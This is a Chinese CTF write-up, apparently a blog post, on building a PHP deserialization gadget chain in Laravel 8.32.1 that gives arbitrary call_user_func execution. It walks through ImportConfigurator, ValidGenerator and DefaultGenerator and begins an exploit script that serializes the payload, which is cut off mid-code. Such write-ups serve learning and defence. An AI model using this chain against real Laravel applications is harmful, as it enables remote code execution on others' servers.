目录
call_user_func([可控],[可控],[可控])
0x00 前言
前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 题目引起了我的注意(指挖了一下午的序列化链,结果路由不正确无法利用CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的过程写出来分享一下吧。
0x01 利用条件
- 需要配合一个完全可控的反序列化点( 比如结合CVE,不过这里的版本是目前最新版 v8.32.1 )
0x02 环境配置
先配好 8.32.1 版本的 laravel ,确保当前版本正确。
然后在 public/index.php
手动新建一个可控的序列化点:
0x03 链条分析
由于这里是另挖掘,所以我们就尽可能的避免 easy_laravel 题目WP所给的链条吧。
call_user_func([可控],[可控])
先从最简单的单参数任意函数执行开始吧。
分析
首先,来到入口点,不妨找一个需要有 __destruct
方法的类,且该方法拥有形如 $this->[可控]->xxx()
的语句,这样就能够方便的触发 __call
方法了。比如说 ImportConfigurator
类就是一个不错的开始。
下一步即是找一个较为符合的拥有 __call
方法的类了,比如这里可以选择 ValidGenerator
类,因为这个类的 __call
存在两个较为明显的 call_user_func/call_user_func_array
函数。
现在需要做的即是想尽办法让这两个函数其中一个的参数 可控 就行了。可以先分析第一个 call_user_func_array
函数,其中 $name 是不可控的,且值为 addCollection
,虽说 $this->generator 和 $arguments 是可控的,但要直接通过这两个可控的参数进行 rce 基本是不可能的。
那么再看一下 DefaultGenerator
类的 __call
方法。显然当这个方法被调用时,无论传入是啥 方法 或是 参数 都可以得到一个 [可控] 的任意值。
这时不妨回过头来看 ValidGenerator
类的 __call
方法中第二个 call_user_func
函数。在这个函数中 $this->validator 是可控的了,然后 $res 实际上是来自第一个 call_user_func_array
的返回值。那么假设现在咱们用第一个 call_user_func_array 方法去调用 DefaultGenerator
类的 __call
方法,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。
综上,咱们现在实际上就可以得到形如 call_user_func([可控],[可控]) 的形式了。
此时需要构造的内容大致如下:
ImportConfigurator->parent
=ValidGenerator类
ValidGenerator->maxRetries
=1
ValidGenerator->generator
=DefaultGenerator类
DefaultGenerator->default
=[任意可控函数参数]
ValidGenerator->validator
=[任意可控函数名称]
图示
然后是简单的调用图示:
exp
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($param){ $this->default = $param; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($func,$param){ $this->generator = new DefaultGenerator($param); $this->maxRetries = 1; $this->validator = $func; } } } namespace{ echo base64_encode(serialize(